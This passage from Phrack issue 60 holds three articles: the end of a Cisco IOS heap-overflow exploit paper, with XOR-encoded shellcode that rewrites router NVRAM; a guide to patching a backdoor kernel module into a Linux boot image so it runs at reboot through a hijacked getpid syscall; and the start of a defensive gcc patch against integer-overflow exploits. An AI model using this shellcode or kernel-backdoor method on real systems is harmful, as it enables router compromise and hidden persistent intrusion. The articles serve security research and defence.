print "\t\"".$hexcode."\"".$tabs."//".$mnemonic." (0x".$alc.")\n";

}

}

‑‑‑ end objdump2c.pl ‑‑‑

You can use the output of objdump and pipe it into the script. If the script got no parameter, it will produce the C char string without modifications. The first optional paramter will be your XOR pattern and the second one can be the address your buffer is going to reside at. This makes debugging the code a hell of a lot easier, because you can refer to the comment at the end of your C char string to find out which command made the Cisco unhappy.

The output for our little config_copy.s code XOR'd with 0xD5 looks like this (trimmed for phrack):

linux# m68k‑aout‑objdump ‑d config_copy.o |

> ./objdump2XORhex.pl 0xD5 0x020F2A24

"\x93\x29\xF2\xD5" //movew #9984,%sr (0x020F2A24)

"\xF7\xA9\xDA\x25\xC5\x17" //moveal #267391170,%a1 (0x020F2A28)

"\xE7\x69\xD5\xD4" //movew #1,%a1@ (0x020F2A2E)

"\x90\x2F\xD5\x87" //lea %pc@(62 <config>),%a2 (0x020F2A32)

"\xF7\xA9\xDB\xD5\xD7\x7B" //moveal #234881710,%a1 (0x020F2A36)

"\xA1\xD4" //moveq #1,%d2 (0x020F2A3C)

"\xC7\x0F" //moveb %a2@+,%a1@+ (0x020F2A3E)

"\xF7\xE9\xD5\xD5\x2A\x2A" //movel #65535,%d1 (0x020F2A40)

"\x46\x97" //subxw %d2,%d1 (0x020F2A46)

"\xBE\xD5\x2A\x29" //bmiw 22 <write_delay> (0x020F2A48)

"\xD9\x47\x1F\x2B\x25\xD8" //cmpil #‑889262067,%a2@ (0x020F2A4C)

"\xB3\xD5\x2A\x3F" //bnew 1a <copy_confg> (0x020F2A52)

"\xE7\x29\xD5\xD5" //movew #0,%a1@+ (0x020F2A56)

"\xF7\xE9\xD5\xD5\x2A\x2A" //movel #65535,%d1 (0x020F2A5A)

"\x46\x97" //subxw %d2,%d1 (0x020F2A60)

"\xBE\xD5\x2A\x29" //bmiw 3c <write_delay2> (0x020F2A62)

"\x66\x29\xDB\xD5\xF5\xD5" //cmpal #234889216,%a1 (0x020F2A66)

"\xB8\xD5\x2A\x3D" //bltw 32 <delete_confg> (0x020F2A6C)

"\x93\x29\xF2\xD5" //movew #9984,%sr (0x020F2A70)

"\xF5\xA9\xDA\x25\xD5\xD5" //moveal #267386880,%a0 (0x020F2A74)

"\xFB\x85" //moveal %a0@,%sp (0x020F2A7A)

"\xF5\xA9\xDA\x25\xD5\xD1" //moveal #267386884,%a0 (0x020F2A7C)

"\xF5\x85" //moveal %a0@,%a0 (0x020F2A82)

"\x9B\x05" //jmp %a0@ (0x020F2A84)

Finally, there is only one more thing to do before we can compile this all together: new have to create the new NVRAM header and calculate the checksum for our new config. The NVRAM header has the form of:

typedef struct {

u_int16_t magic; // 0xABCD

u_int16_t one;// Probably type (1=ACII, 2=gz)

u_int16_t checksum;

u_int16_t IOSver;

u_int32_t unknown;// 0x00000014

u_int32_t cfg_end;// pointer to first free byte in

// memory after config

u_int32_t size;

} nvhdr_t;

Obviously, most values in here are self‑explainory. This header is not nearly as much tested as the memory structures, so IOS will forgive you strange values in the cfg_end entry and such. You can choose the IOS version, but yours truly recommends to use something along the lines of 0x0B03 (11.3), just to make sure it works. The size field covers only the real config text ‑ not the header.

The checksum is calculated over the whole thing (header plus config) with the checksum field itself being set to zero. This is a standard one's complement checksum as you find in any IP implementation.

When putting it all together, you should have something along the lines of:

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| AAAAAAAAAAAA |

...

| AAAAAAAAAAAA |

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| FAKE BLOCK |

| |

....

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| Bootstrap |

| |

....

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| config_copy |

| XOR pat |

....

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

| NVRAM header |

| + config |

| XOR pat |

....

+‑‑‑‑‑‑‑‑‑‑‑‑‑‑+

...which you can now send to the Cisco router for execution. If everything works the way it is planned, the router will seemingly freeze for some time, because it's working the slow loops for NVRAM copy and does not allow interrupts, and should then reboot clean and nice.

To save space for better papers, the full code is not included here but is available at http://www.phenoelit.de/ultimaratio/UltimaRatioVegas.c . It

supports some adjustments for code offset, NOPs where needed and a slightly different fake block for 11.1 series IOS.

‑‑[ 6 ‑ Everything not covered in 1‑5

A few assorted remarks that somehow did not fit into the rest of this text should be made, so they are made here.

First of all, if you find or know an overflow vulnerability for IOS 11.x and you think that it is not worth all the trouble to exploit since everyone should run 12.x by now, let me challange this. Nobody with some experience on Cisco IOS will run the latest version. It just doesn't work correctly. Additionally, many people don't update their routers anyway. But the most interesting part is a thing called "Helper Image" or simply "boot IOS". This is a mini‑IOS loaded right after the ROM monitor, which is normally a 11.x. On the smaller routers, it's a ROM image and can not be updated easily. For the bigger ones, people assured me that there are no 12.x mini‑IOSes out there they would put on a major production router. Now, when the Cisco boot up and starts the mini‑IOS, it will read the config and work accordingly as long as the feature is supported. Many are ‑ including the TFTP server. This gives an attacker a 3‑8 seconds time window in which he can perform an overflow on the IOS, in case somone reloads the router. In case this goes wrong, the full‑blown IOS still starts up, so there will be no traces of any hostile activity.

The second item yours truly would like to point out are the different things one might want to explore for overflow attacks. The obvious one (used in this paper as example) is a service running on a Cisco router. Another point for overflowing stuff are protocols. No protocol inspection engine is perfect AFAYTK. So even if the IOS is just supposed to route the packet, but has to inspect the contents for some reason, you might find something there. And if all fails, there are still the debug based overflows. IOS offers a waste amount of debug commands for next to everything. These do normally display a lot of information comming right from the packet they received and don't always check the buffer they use for compiling the displayed string. Unfortunately, it requires someone to turn on debugging in the first place ‑ but well, this might happen.

And finally, some greets have to be in here. Those go to the following people in no particular order: Gaus of Cisco PSIRT, Nico of Securite.org, Dan of DoxPara.com, Halvar Flake, the three anonymous CCIEs/Cisco wizards yours truly keeps asking strange questions and of course FtR and Mr. V.H., because without their equipment, there wouldn't be any research to speak of. Additional greets go to all people who research Cisco stuff and to whom yours truly had no chance to talk to so far ‑ please get in touch with us. The last one goes to the vulnerability research labs out there: let me know if you need any help reproducing this `;‑7

‑‑[ A ‑ References

[1] anonymous <d45a312a@author.phrack.org>

"Once upon a free()..."

Phrack Magazine, Volume 0x0b, Issue 0x39, Phile #0x09 of 0x12

[2] Cisco Router IOS Memory Maps http://www.cisco.com/warp/public/112/appB.html

[3] GNU binutils http://www.gnu.org/software/binutils/binutils.html

[4] Motorola QUICC 68360 CPU Manual

MC68360UM, Page 6‑70

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Static Kernel Patching

==Phrack Inc.==

Volume 0x0b, Issue 0x3c, Phile #0x08 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Static Kernel Patching ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ jbtzhm <jbtzhm@nsfocus.com> ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=| |=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑[ http://www.nsfocus.com ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

1 ‑ Introduction

2 ‑ Get kernel from the image

3 ‑ Allocate some space in image

4 ‑ Relocate the symbol in module file

5 ‑ Make it autorun when reboot

6 ‑ Possible solutions

7 ‑ Conclusion

8 ‑ References

9 ‑ Appendix: The implementation

‑‑[ 1 ‑ Introduction

This paper will show a simple way to patch a common LKM into the static linux kernel image.Most kernel backdoors are implemented by loadable kernel module which is loaded into kernel by insmod or /dev/kmem,and the backdoor module can found easily if the disk can be mounted on other machines.It is not the expected result.What is wanted is just to find a method to put the LKM into kernel image,and make it run when reboot.

The program attached in the appendix contains codes and debugs in redhat7.2 (Intel)default installation,and can be easily tested on other kernel versions by some modification.Also the program is based on the /boot/System.map file which contains the kernel symbol address.If the file doesn't exist on your system,more works have to be done to make it run.

‑‑[ 2 ‑ Get kernel from the image

The first step is getting kernel from image file that is usually compressed (uncompress image is not concerned because it is much easier).The image file can be analyzed from the kernel source files,and Makefile will clarify the structure of the image.

[/usr/src/linux/arch/i386/boot/Makefile]

..

zImage: $(CONFIGURE) bootsect setup compressed/vmlinux tools/build $(OBJCOPY) compressed/vmlinux compressed/vmlinux.out tools/build bootsect setup compressed/vmlinux.out $(ROOT_DEV) > zImage

..

(bzImage is similar)

bootsect: bootsect.o

$(LD) ‑Ttext 0x0 ‑s ‑‑oformat binary ‑o $@ $<

bootsect.o: bootsect.s

$(AS) ‑o $@ $<

bootsect.s: bootsect.S Makefile $(BOOT_INCL)

$(CPP) $(CPPFLAGS) ‑traditional $(SVGA_MODE) $(RAMDISK) \ $< ‑o $@

..

setup: setup.o

$(LD) ‑Ttext 0x0 ‑s ‑‑oformat binary ‑e begtext ‑o $@ $<

setup.o: setup.s

$(AS) ‑o $@ $<

setup.s: setup.S video.S Makefile $(BOOT_INCL) $(TOPDIR)\ /include/linux/version.h $(TOPDIR)/include/linux/compile.h $(CPP) $(CPPFLAGS) ‑D__ASSEMBLY__ ‑traditional \ $(SVGA_MODE) $(RAMDISK) $< ‑o $@

The bootsect and setup file are easy to understand.They are created by bootsect.s and setup.s respectively.The vmlinux.out file is raw binary file generated by objcopy command.The value of $(OBJCOPY) is "objcopy ‑O binary ‑R .note ‑R .comment ‑S". More details are available by `man objcopy`.When the three files are ready the build program will bind the three files to on file which is the kernel image file. However the vmlinx file is generated more complicatedly.It is also possible to go into the compressed directory and look through the Makefile.

[/usr/src/linux/arch/i386/boot/compressed/Makefile]

..

vmlinux: piggy.o $(OBJECTS)

$(LD) $(ZLINKFLAGS) ‑o vmlinux $(OBJECTS) piggy.o

The $(OBJECTS) includes head.o and misc.o,compiled by head.S and misc.c respectively.The most important step in head.S is calling the decompress_kernel function in misc.c.The function will inflate the compressed kernel.When the decompress_kernel takes effect,it requires input_len and input_data symbol which are defined in piggy.o

..

piggy.o: $(SYSTEM)

tmppiggy=_tmp_$$$$piggy; \

rm ‑f $$tmppiggy $$tmppiggy.gz $$tmppiggy.lnk; \ $(OBJCOPY) $(SYSTEM) $$tmppiggy; \

gzip ‑f ‑9 < $$tmppiggy > $$tmppiggy.gz; \ echo "SECTIONS { .data : { input_len = .; \ LONG(input_data_end ‑ input_data) input_data = .; \ *(.data) input_data_end = .; }}" > $$tmppiggy.lnk; $(LD) ‑r ‑o piggy.o ‑b binary $$tmppiggy.gz ‑b elf32‑i386 ‑T \ $$tmppiggy.lnk;

rm ‑f $$tmppiggy $$tmppiggy.gz $$tmppiggy.lnk

The piggy.o file is a common ELF object file.However,it only contains data section.The ld requires a command file like this\

SECTIONS { .data : { input_len = .; LONG(input_data_end ‑ input_data)\ input_data = .; *(.data) input_data_end = .; }}

The command file enables the piggy.o to have the symbol which is required by misc.o.Hopefully the command "gzip ‑f ‑9" also can be seen. It just compressed the kernel file compiled by thousands of kernel source files.

So the kernel image could be described like this [bootsect][setup][[head][misc][compressed_kernel]]

Now let us understand more about the boot process.

The process can be separated into the following some logical stages: 1.BIOS selects the boot device.

2.BIOS loads the [bootsecto] from the boot device. 3.[bootsect] loads [setup] and [[head][misc][compressed_kernel]]. 4.[setup] do sth. and jmp to [head](it is at 0x1000 or 0x100000). 5.[head] call uncompressed_kernel in [misc].

6.[misc] uncompressed [compressed_kernel] and put it at 0x100000. 7.high level init(begin at startup_32 in linux/arch/i386/kernel/head.S).

After the machine run into step 7,the high level initialization begins.

When the structure of the kernel image is clear,kernel text from the compressed image with a dirty method are easily available.It is matching the compress‑magic contained in image.It is also known the 4‑byte number before the magic is the input_data from which the offset can be verified. After this gunzip the kernel is pretty easy.

‑‑[ 3 ‑ Allocate some space in image to use

The allocation here doesn't mean vmalloc or kmalloc method.It just means space is required to contain the LKM file.The lkm file >> the kernel can be easily catted,but it will not work.To find the reason,the best method is to go back into the kernel initial code,which is all in step 7 mentioned above.

[/usr/src/linux/arch/i386/kernel/head.S]

..

/*

* Clear BSS first so that there are no surprises...

*/

xorl %eax,%eax

movl $ SYMBOL_NAME(__bss_start),%edi

movl $ SYMBOL_NAME(_end),%ecx

subl %edi,%ecx

cld

rep

stosb

..

After reading the head.S file,the above code can be found,which clearly expressed that it will clarify BSS range.The BSS area contains the uninitialized variable which is not included in the kernel file,but the kernel memory will leave the area to bss.So the lkm will be clear if just appending the code to the kernel.To solve the problem some dummy data can be added before the code the length of which is just equal to the bss size.Though it will make the new kernel much larger,the compressed will help to deflate all the zero data effectively.

However there is also another problem.Read through followed code

[/usr/src/linux/arch/i386/kernel/setup.c]

..

void __init setup_arch(char **cmdline_p)‑‑‑called by start_kernel ..

init_mm.

/*

* partially used pages are not usable ‑ thus * we are rounding upwards:

*/

..

start_pfn = PFN_UP(__pa(&_end));start_code = (unsigned long) &_text; init_mm.end_code = (unsigned long) &_etext;

init_mm.end_data = (unsigned long) &_edata;

init_mm.brk = (unsigned long) &_end;//it is bss end

..

The kernel wouldn't leave any space to the lkm unreasonable,so it will manage the space available from the bss end which is just the beginning of the LKM code.Therefore,the _end symbol in text should be modified to give the start_pfn a larger value.Then the new kernel will be like this:

[modified kernel][all zero dummy][module]

‑‑[ 4 ‑ Relocate the symbol in module file

The module is common LKM file and its type is usually ELF object file,and the object file need to be relocated before it could be used.The following example make it easier to understand.

int init_module()

{

char s[] = "hello world\n";

printk("%s\n",s);

return 0;

}

After compiling the program by command gcc,the module.o is available:

[root@linux‑jbtzhm test]#gcc ‑O2 ‑c module.c

[root@linux‑jbtzhm test]# objdump ‑x module.o|more

..

RELOCATION RECORDS FOR [.text]:

OFFSET TYPE VALUE

00000004 R_386_32 .rodata

00000009 R_386_32 .rodata

0000000e R_386_PC32 printk

[root@linux‑jbtzhm test]# objdump ‑d module.o

test.o: file format elf32‑i386

Disassembly of section .text:

00000000 <init_module>:

0: 55 push %ebp

1: 89 e5 mov %esp,%ebp

3: 68 00 00 00 00 push $0x0

8: 68 0d 00 00 00 push $0xd

d: e8 fc ff ff ff call e <init_module+0xe> 12: 31 c0 xor %eax,%eax

14: c9 leave

15: c3 ret

The object file structure is clear from the output of objdump.There are three entries in the text relocation section,and the offset shows the place should be corrected.For the printk symbol,the type is R_386_PC32 which means relative call instruction(R_386_32 means absolute address).So after relocation the value of "fc ff ff ff" in the text that calls printk will be put out in the right value.

However,it is more complex than what can be described about the relocation, and more information about it is available from ELF specifications.About the implementation of relocation Silvio had written many codes in his paper‑RUNTIME KERNEL KMEM PATCHING‑.Many lines are refereed from it and some operations are added about uninitialized static and SHN_COMMON variables.

‑‑ [ 5 ‑ Make it autorun when reboot

After the above steps the new kernel appears like this [modified kernel][all zero dummy][relocated module]

But the module don't have chance to be called,so the kernel running path has to be changed to call the function init_module in lkm.My method is adding some code between the dummy data and the module and changing the value of sys_call_table[SYS_getpid] to the code.Many programs (like init) will call getpid when machine reboots,then the code will be called.

char init_code[]={

"\xE8\x00\x00\x00\x00" //call init_module

"\xC7\x05\x00\x00\x00\x00\x11\x11\x11\x11" //restore orig_getpid

"\xE8\x11\x11\x11\x11" //call orig_getpid

"\xC3" //ret

};

All the relative and absolute addr is written by wrong value,but it is not necessary to worry about that.When relocating the module the accurate values about those address can be also make certain.

So the final new kernel had come int being.

[modified kernel][all zero dummy][init_code][relocated module]

Then the new kernel image followed the steps in Makefile is generated.Now a new kernel patched by the module is available.

‑‑[ 6 ‑ Possible solutions

Deleting the /boot/System.map is the easiest way to prevent someone from using this program without any modification.However Silvio had shown some ways to generate the kernel symbol list from kernel.So it is not the final solutions.Adding some module to prevent kernel image from being modified is not a bad idea,but the precondition is the system should support the module.

When a kernel image was patched,its size and checksum could be detected, so some function can be added to cheat the manager,but I don't have time to do that.If you have more ideas please don't hesitate to contact me.

‑‑[ 7 ‑ Conclusion

Now it is clear that it is so easy to patch the kernel image.If the host is compromised,nothing should be trusted,even if your own eyes.Halting the machine and mounting the disk to another host is a good idea.

This paper is just for education.Please don't use it for other purposesA. Sorry about my poor English and the dirty code of my program.Everything should be better if I have more time.Though it could work well at redhat 7.2,there maybe some problems if moved to all versions of linux kernel.However,time is not enough for the tests on all kinds of environment.

‑‑[ 8 ‑ References

[1] Silvio's article describing run‑time kernel patching (System.map) [http://www.big.net.au/~silvio/runtime‑kernel‑kmem‑patching.txt]

[2] "Complete Linux Loadable Kernel Modules. The definitive guide for hackers, virus coders and system administrators." [http://www.thehackerschoice.com/papers]

[3] <<Linux Kernel:Scenarios and Analysis>> by Mao Decao and Hu Ximing

[4] linux kernel source

[http://www.kernel.org]

[5] Linux Kernel 2.4 Internals [http://www.moses.uklinux.net/patches/lki.html]

At last,many thanks to Silvio the source about the relocation.Also to my co‑worker lgx who give me many good advise when i debug the program.At the same time i extend special thanks to Hou Hanshu who help me correct much grammar mistakes in english.

‑‑[ 9 ‑ Appendix: The implementation

begin 644 kpatch.tgz M'XL(`$\'Y#T``^P\2W`<QW6@1"N<M6++43Y.G#C‑50CM_X<?C2404A0HL42" end

|=[ EOF ]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Big Loop Integer Protection

==Phrack Inc.==

Volume 0x0b, Issue 0x3c, Phile #0x09 of 0x10

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Big Loop Integer Protection]=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑=|

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

|=‑‑‑‑‑‑‑‑‑‑‑‑‑‑=[ Oded Horovitz ohorovitz@entercept.com ]=‑‑‑‑‑‑‑‑‑‑‑‑=|

‑‑[ Contents

1 ‑ Introduction

2 ‑ Part I ‑ Integer problems

2.1 ‑ Introduction

2.2 ‑ Basic code samples

3 ‑ Part II ‑ Exploitation pattern

3.1 ‑ One input, two interpretations

3.2 ‑ What is the nature of the input?

3.3 ‑ Suggested detection

4 ‑ Part III ‑ Implementation

4.1 ‑ Introduction

4.2 ‑ Why gcc?

4.3 ‑ A bit about gcc

4.3.1 ‑ Compilation flow

4.3.2 ‑ The AST

4.3.3 ‑ Getting started

4.4 ‑ Patch Goals

4.5 ‑ Patch overview

4.5.1 ‑ Tactics

4.5.2 ‑ Modifying the AST

4.6 ‑ Limitations

5 ‑ References

6 ‑ Thanks

7 ‑ Appendix A ‑ Real life examples

7.1 ‑ Apache Chunked encoding

7.2 ‑ OpenSSH auth

8 ‑ Appendix B ‑ Using blip

‑‑[ 1 ‑ Introduction

Integer overflow and integer sign vulnerabilities are now common knowledge. This has led to increased exploitation of integer‑related vulnerabilities. The article will attempt to suggest a way to detect these vulnerabilities by adding compiler support that detects and flags integer vulnerabilities exploitations. Specifically a gcc patch is presented to demonstrate the feasibility of this technique.

The article is divided into three parts. Part one contains a brief introduction to some of the common integer related vulnerabilities. We list some of the recent public vulnerabilities. Part two of the article tries to explain the root cause of the problem with integer vulnerabilities. Using real examples, the article explains why exploitation is possible in the first place, and how it may be possible to detect exploitation of integer vulnerabilities, even when the vulnerability is not known in advance. Part three goes through the implementation of the suggested detection scheme. Since the implementation of this detection scheme is in the form of a gcc patch, introduction information about gcc internals is provided as well. We summarize the paper by demonstrating the protection at work against OpenSSH and the Apache httpd packages.

‑‑[ 2 ‑ Part I ‑ Integer problems

‑‑‑‑[ 2.1 ‑ Introduction

In the last year the attention seems to have shifted to a new bad programming practice. This practice is related to the possibility to integer overflows that cause buffer overflows. It turns out the many popular and (assumed to be) secure software packages (OpenSSH, Apache, *BSD kernel) share this vulnerability. The root cause for this bad practice is insufficient input validation for integer type input. Integer input looks so naive, only a few bits long. What can go wrong here? Well, it seems that quite a lot can go wrong. The following is a table of integer related vulnerabilities taken from the OpenBSD and FreeBSD security lists. All vulnerabilities have been reported during year 2002.

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Vulnerable package | Short description of vulnerability |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| OpenBSD select syscall | Positive limit checks against int value | | (See reference [4]) | allowing stack overflow |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| RPC xdr_array | Int overflow cause small buffer allocation | | | which later overflowed with input |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| OpenSSH Authentication | Int overflow cause small buffer allocation | | | which later overflowed with input |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| Apache chunked‑encoding| Positive condition is done on signed int | | | allowing heap overflow |

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| FreeBSD get_pallette | Positive condition is done on signed int | | | allowing information leak from kernel to user|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

| FreeBSD accept1,getsoc‑| Positive condition is done on signed int | | kname1,getpeername1 | allowing information leak from kernel to user|

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

Table 1 ‑ Sample integer vulnerabilities in year 2002.

The common problem that exists in all of the above vulnerabilities is that an input of integer type (signed and unsigned) was used to trigger overflow (when writing) or info leak (when reading) to/from program buffers. All of the above vulnerabilities would have been prevented if proper limits had been enforced.

‑‑‑‑[ 2.2 ‑ Basic code samples

Integer vulnerabilities can be further illustrated by looking at the following two simple code samples.

Example 1 (int overflow):

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

01int main(int argc,char* argv[]){

02unsigned int len,i;

03char*buf;

04if(argc != 3) return ‑1;

05len=atoi(argv[1]);

06buf = (char*)malloc(len+1);

07if(!buf){

08printf("Allocation faild\n");

09return ‑1;

10}

11for(i=0; i < len; i++){

12buf[i] = _toupper(argv[2][i]);

13}

14buf[i]=0;

15printf("%s\n",buf);

16}

The code above seems quite legit. The program converts a string to its upper case representation. First it allocates enough space for the string and the NULL termination character. Then it converts each character into its upcase value. But when looking a bit closer, we can identify two major problems in the code. First, the program trusts the user to have as much characters as he specifies (which is obviously not the case)(line 5). Second, the program doesn't take into account that by calculating the space to allocate, an integer overflow may occur (line 6). Trying to generalize the problem, the first bug may allow the attacker to read information, which he didn't provide (by trusting the user input and reading *len* chars from argv[2]). The second bug allows the attack to overflow the heap with its own data, and therefore to fully compromise the program.

Example 2 (sign check‑bypass):

‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑‑

01#define BUF_SIZE 10

02intmax = BUF_SIZE;

03int main(int argc,char* argv[]){

04intlen;

05charbuf[BUF_SIZE];

06if(argc != 3) return ‑1;

07len=atoi(argv[1]);

08if(len < max){

09memcpy(buf,argv[2],len);

10printf("Data copied\n");

11}

12else

13printf("Too much data\n");

14}

The second example shows a program that had the intention to solve the problem introduced in the first example, by attempting to enforce user input length to a known and predefined maximum value. The problem in this code is that len is defined as a signed int. In this case a very big value (unsigned wise) is interpreted as a negative value (line 8), which will bypass the limit check. Still, in line 9 the same value is interpreted as an unsigned positive number causing a buffer overflow and possibly allowing a full compromise.

‑‑[ 3 ‑ Part II ‑ Exploitation pattern

‑‑‑‑[ 3.1 ‑ One input, two interpretations

So what is the real problem? How come such security‑oriented packages have these vulnerabilities? The answer is that integer inputs sometimes have an ambiguous interpretation at different parts of the code (integer may change their sign at different values, implicit type cast, integer overflows). That ambiguous interpretation is hard to notice when implementing input validation code.

To explain this ambiguity let us look at the first example. At the time of allocation (line 6), the code believes that since the input is a number, then adding another number will yield a bigger number (len+1). But since typical C language programs ignore integer overflows the particular number 0xffffffff do not apply to this assumption and yields unexpected result (zero). Unfortunately the same error is *NOT* repeated later in the code. Therefore the same input 0xffffffff this time interpreted as an unsigned value (a huge positive number).

In the second example the ambiguity of the input is even more obvious. Here the code includes a silent type casting generated by the compiler when calling memcpy. The code therefore is checking the value of the input as if it was a signed number (line 8) while using it to copy data as if it was an unsigned (line 9).

This ambiguity is invisible for the coder eye, and may go undetected, leaving the code vulnerable to this "stealthy" attack.

‑‑‑‑[ 3.2 ‑ What is the nature of the input?

Looking back at the above examples reveal a common meaning for the attacker input. (Sorry if the next few lines will explain the obvious :>) The above input is a number for a reason. It is a counter! It counts items! It doesn't matter what those "items" are (bytes, chars, objects, files, etc.). They are still countable amount of items. And what can you do with such a counter? Well, you are most likely to do some processing "count" amount of times. As a note I will say that not *every* number is also a counter. There are many other reasons to have numbers around. But the one that are related to integer vulnerabilities happend to be "counters" most of the time.

For example, if the count is for challenge response you may want to read "count" amount of responses (OpenSSH). Or if the count is buffer length you may want to copy "count" amount of bytes from one memory location to the other (Apache httpd).

The bottom line is that somewhere behind this number there is the proper "loop" in the code that will do some processing, "count" number of times. This "loop" may have multiple forms such as the for‑loop in the first example, or as an implicit loop in memcpy. Still all loop flavors will end up looping around the "count".

‑‑‑‑[ 3.3 ‑ Suggested detection

Ok, what do we have so far about those vulnerabilities?

‑ The input was ambiguously used in the code.

‑ Somewhere in the code there is a loop that uses the input integer as an iteration counter.

To make the interpretation of the number ambiguous, the attacker has to send a huge number. Looking at the first example we can see that in order to make the number ambiguous the attacker needed to send such a big number that if doing (len+1) the number will overflow. For that to happen the attacker will have to send the value 0xffffffff. Looking at the second example, in order to make the interpretation of the number ambiguous, the attacker needs to send such a number that will fall into the negative range of an integer 0x80000000‑0xffffffff.

The same huge number sent by the attacker to trigger the vulnerability is later used in a loop as the iterations counter (As discussed in the section "What is the nature of the input?")

Now lets analyze the exploit process:

1. Attacker wants to overflow buffer.

2. Attacker may use integer vulnerability

3. Attacker sends a huge integer to trigger the vulnerability. 4. Count loop executes (probably) using attacker input as the loop bound. 5. A Buffer is overflowed (On early iterations of the loop!)

Therefore detecting (and preventing) integer vulnerability exploitation is possible by validating the loop bounds before its execution. The validation of the loop will check that the loop limit is not above a predefined threshold, and if the limit is higher that the threshold a special handler will be triggered to handle the possible exploitation.

Since the value required to trigger most integer vulnerabilities is huge, we can assume (hope) that most legitimate loops will not trigger this protection.

To get a feeling for what values we expect to see in integer Vulnerabilities, lets examine the following samples:

‑ Allocating buffer for user data + program data

Looks like: buf = malloc(len + sizeof(header));

In this case the value required for triggering int overflow is very close to 0xffffffff since most program struct sizes are in the range of several bytes to hundreds bytes at most.

‑ Allocating arrays

looks like: buf = malloc(len * sizeof(object));

In this case the value required for triggering the overflow may be much smaller then in the first example but it is still a relatively huge value. For example if sizeof(object) == 4 then the value should be bigger then 0x40000000 (one Giga). Even if the sizeof(object)== 64 the value should be bigger then 0x4000000 (64 Mega) in order to cause an overflow.

‑ Falling to negative range

In this case the value required to make a number negative is any number bigger then 0x7fffffff.

Looking at the values required to trigger the integer vulnerability, we can choose a threshold such as 0x40000000 (One Giga) that will handle most cases. Or we can select smaller threshold for better protection, which may trigger some false positives.

‑‑[ 4 ‑ Part III ‑ Implementation

‑‑‑‑[ 4.1 ‑ Introduction

Once we have a suggested a way to detect integer attacks, it will be nice to implement a system based on that idea. A possible candidate for implementing this system is to extend an existing compiler. Since the compiler knows about all loops in the application, it will be possible for the compiler to add the appropriate security checks before any "count loop". Doing so will secure the application without any knowledge of the specific vulnerability.

Therefore I choose to implement this system as a gcc patch and name it "Big Loop Integer Protection" a.k.a blip. Using the ‑fblip flag one may now be able to protect his application from the next yet to be public integer exploit.

‑‑‑‑[ 4.2 ‑ Why gcc?

Choosing gcc was not a tough decision. First this compiler is one of the most common compilers in the Linux, *nix world. Therefore, patching gcc will allow protecting all applications compiled with gcc. Second, the gcc is open‑source therefore it may be feasible to implement this patch in the first place. Third, previous security patches were implemented as gcc patches (StackGaurd, ProPolice).So why not follow their wisdom?

‑‑‑‑[ 4.3 ‑ A bit about gcc

Well.., all happy I set down knowing that I'm about to make a gcc patch for preventing integer attacks. But, except of that, what do I really know about gcc at all? I must admit that the answer for that question was ‑ "not much".

To overcome this little problem, I was looking for some documentation about gcc internals. I also hoped to find something similar to what I wanted to do, which already exists. Fast enough, it was clear that before jumping to other examples, I must understand the gcc beast.

.. Two weeks later, I have read enough of the gcc internal documentation, and I spent enough time in debugging sessions of the compiler, to be able to start modifying the code. However before I start jumping into details I would like to provide some background about how gcc works, which I hope the reader will find useful.

‑‑‑‑‑‑[ 4.3.1 ‑ Compilation flow

The gcc compiler is really an amazing machine. The design goals of gcc include the ability to support multiple programming languages, which later can be compiled into multiple platforms and instruction sets. In order to achieve such a goal, the compiler uses several abstraction layers.

